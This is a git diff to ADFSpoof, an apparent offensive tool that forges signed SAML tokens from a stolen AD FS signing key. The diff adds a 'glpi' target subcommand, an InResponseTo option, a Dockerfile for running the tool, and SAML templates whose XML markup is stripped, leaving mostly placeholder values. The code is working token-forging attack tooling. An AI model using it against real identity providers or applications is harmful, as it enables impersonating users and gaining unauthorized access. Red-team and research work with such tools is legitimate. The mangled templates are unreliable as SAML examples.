diff --git a/ADFSpoof.py b/ADFSpoof.py
index 4f43579..8228725 100644
--- a/ADFSpoof.py
+++ b/ADFSpoof.py
@@ -21,6 +21,7 @@ def parse_args():
arg_parser.add_argument('-v', '--verbose', help='Verbose Output', default=False)
arg_parser.add_argument('--assertionid', help='AssertionID string. Defaults to a random string', default=random_string())
arg_parser.add_argument('--responseid', help='The Response ID. Defaults to random string', default=random_string())
+ arg_parser.add_argument('--inresponseto', help='The InResponseTo attribute (ID from the SP AuthnRequest)', default=None)
arg_parser.add_argument('-s', '--server', help='Identifier for the federation service. Usually the fqdn of the server. e.g. sts.example.com DO NOT include HTTPS://')
arg_parser.add_argument('-a', '--algorithm', help='SAML signing algorithm to use', default='rsa-sha256')
arg_parser.add_argument('-d', '--digest', help='SAML digest algorithm to use', default='sha256')
@@ -49,6 +50,12 @@ def parse_args():
parser_generic_saml2.add_argument('--assertions', help='The XML assertions for the SAML token', default=None)
parser_generic_saml2.add_argument('--config', help='JSON file containing generic args', default=None)
+ parser_generic_glpi = subparsers.add_parser('glpi')
+ parser_generic_glpi.add_argument('--endpoint', help='The destination/recipient attribute for SAML 2.0 token. Where the SAML token will be sent.', default=None)
+ parser_generic_glpi.add_argument('--nameid', help='The NameIdentifier attribute value', default=None)
+ parser_generic_glpi.add_argument('--rpidentifier', help='The Identifier for the Relying Party', default=None)
+ parser_generic_glpi.add_argument('--config', help='JSON file containing generic args', default=None)
+
parser_dump = subparsers.add_parser('dump')
parser_dump.add_argument('--path', help='Filepath where the signing token will be output.', default='token.pfx')
@@ -137,7 +144,8 @@ def get_module_params(command):
'AdfsServer': args.server,
'SubjectConfirmationTime': subject_confirmation_time,
'ResponseID': args.responseid,
- 'AuthnInstant': authn_instant
+ 'AuthnInstant': authn_instant,
+ 'InResponseTo': args.inresponseto or ''
}
if args.config:
@@ -158,6 +166,35 @@ def get_module_params(command):
}
params.update(saml2_params)
name_identifier = "ID"
+
+ elif command == "glpi":
+ params = {
+ 'TokenCreated': token_created,
+ 'TokenExpires': token_expires,
+ 'AdfsServer': args.server,
+ 'AssertionID': args.assertionid,
+ 'SubjectConfirmationTime': subject_confirmation_time,
+ 'ResponseID': args.responseid,
+ 'AuthnInstant': authn_instant,
+ 'InResponseTo': args.inresponseto or ''
+ }
+
+ if args.config:
+ with open(args.config, 'r') as config_file:
+ data = config_file.read()
+ try:
+ glpi_params = json.loads(data)
+ except json.JSONDecodeError:
+ sys.stderr.write("Could not parse JSON config file for SAML2 token creation. Quitting.\n")
+ die()
+ else:
+ glpi_params = {
+ 'SamlEndpoint': args.endpoint,
+ 'NameID': args.nameid,
+ 'RPIdentifier': args.rpidentifier,
+ }
+ params.update(glpi_params)
+ name_identifier = "ID"
return params, name_identifier
@@ -180,6 +217,7 @@ def output_token(token, command):
if args.command != 'dump':
params, id_attribute = get_module_params(args.command)
+ print("=================",repr(id_attribute))
token = signer.sign_XML(params, id_attribute, args.algorithm, args.digest)
if args.output:
diff --git a/Dockerfile b/Dockerfile
new file mode 100644
index 0000000..5646607
--- /dev/null
+++ b/Dockerfile
@@ -0,0 +1,10 @@
+FROM python:3.11.12-slim
+
+COPY . /app
+WORKDIR /app
+
+
+RUN pip install --no-cache-dir -r requirements.txt
+
+
+ENTRYPOINT ["python", "/app/ADFSpoof.py"]
\ No newline at end of file
diff --git a/templates/glpi.xml b/templates/glpi.xml
new file mode 100644
index 0000000..1a0c759
--- /dev/null
+++ b/templates/glpi.xml
@@ -0,0 +1,28 @@
+
+ http://$AdfsServer/adfs/services/trust
+
+
+
+
+ http://$AdfsServer/adfs/services/trust
+
+
+ $NameID
+
+
+
+
+
+
+ $RPIdentifier
+
+
+
+
+ urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
+
+
+
+
\ No newline at end of file
diff --git a/templates/o365.xml b/templates/o365.xml
index b175e0f..7adf61d 100644
--- a/templates/o365.xml
+++ b/templates/o365.xml
@@ -1 +1 @@
-$TokenCreated$TokenExpiresurn:federation:MicrosoftOnlineurn:federation:MicrosoftOnline$NameIdentifierurn:oasis:names:tc:SAML:1.0:cm:bearer$UPN$NameIdentifierfalseurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport$NameIdentifierurn:oasis:names:tc:SAML:1.0:cm:bearerurn:oasis:names:tc:SAML:1.0:assertionhttp://schemas.xmlsoap.org/ws/2005/02/trust/Issuehttp://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey
+$TokenCreated$TokenExpiresurn:federation:MicrosoftOnlineurn:federation:MicrosoftOnline$NameIdentifierurn:oasis:names:tc:SAML:1.0:cm:bearer$UPN$NameIdentifierfalseurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport$NameIdentifierurn:oasis:names:tc:SAML:1.0:cm:bearerurn:oasis:names:tc:SAML:1.0:assertionhttp://schemas.xmlsoap.org/ws/2005/02/trust/Issuehttp://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey
diff --git a/templates/saml2.xml b/templates/saml2.xml
index 263daab..d523f20 100644
--- a/templates/saml2.xml
+++ b/templates/saml2.xml
@@ -1 +1,29 @@
-http://$AdfsServer/adfs/services/trusthttp://$AdfsServer/adfs/services/trust$NameID$RPIdentifier$Assertionsurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
\ No newline at end of file
+
+ http://$AdfsServer/adfs/services/trust
+
+
+
+
+ http://$AdfsServer/adfs/services/trust
+
+
+ $NameID
+
+
+
+
+
+
+ $RPIdentifier
+
+
+ $Assertions
+
+
+ urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
+
+
+
+
\ No newline at end of file